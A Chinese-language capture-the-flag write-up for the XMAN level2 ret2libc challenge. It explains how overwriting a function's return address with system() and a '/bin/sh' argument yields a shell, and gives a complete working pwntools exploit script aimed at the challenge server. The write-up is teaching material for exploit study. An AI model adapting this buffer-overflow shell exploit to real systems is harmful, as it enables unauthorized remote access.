XMAN-level2(return_to_libc)

思路:这题主演考察return_to_libc,通过覆盖vulnerable_function返回地址,跳转到system函数,构造栈上的参数,传入"/bin/sh"。即可getshell。

1.使用gdb-peda查看是否有保护机制。

XMAN-level2(return_to_libc)_第1张图片

2.shift+F12查看是否有可利用函数,这里有"/bin/sh"字符串,没有现成的函数。

XMAN-level2(return_to_libc)_第2张图片

3.用IDA打开查看代码,发现调用了system函数。这里我们可以覆盖vulnerable_function返回地址,跳转到system函数,构造栈上的参数,给system传入"/bin/sh",就可以获得一个shell(此处system函数的返回地址可以随便写,因为不需要用到)。具体流程如下:

XMAN-level2(return_to_libc)_第3张图片

4.具体代码如下:

# coding:utf-8
from pwn import *

context(arch='i386',os='linux',log_level='debug')
sh = remote("pwn2.jarvisoj.com",9878)
# sh = process("./level2")
elf = ELF('./level2') 
_sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()

payload = 'a' * (0x88 + 0x4) + p32(_sys_addr) + p32(0x0) + p32(sh_addr)

sh.recvuntil('Input:\n')
sh.sendline(payload)
sh.interactive()
sh.close()

你可能感兴趣的:(XMAN-level2(return_to_libc))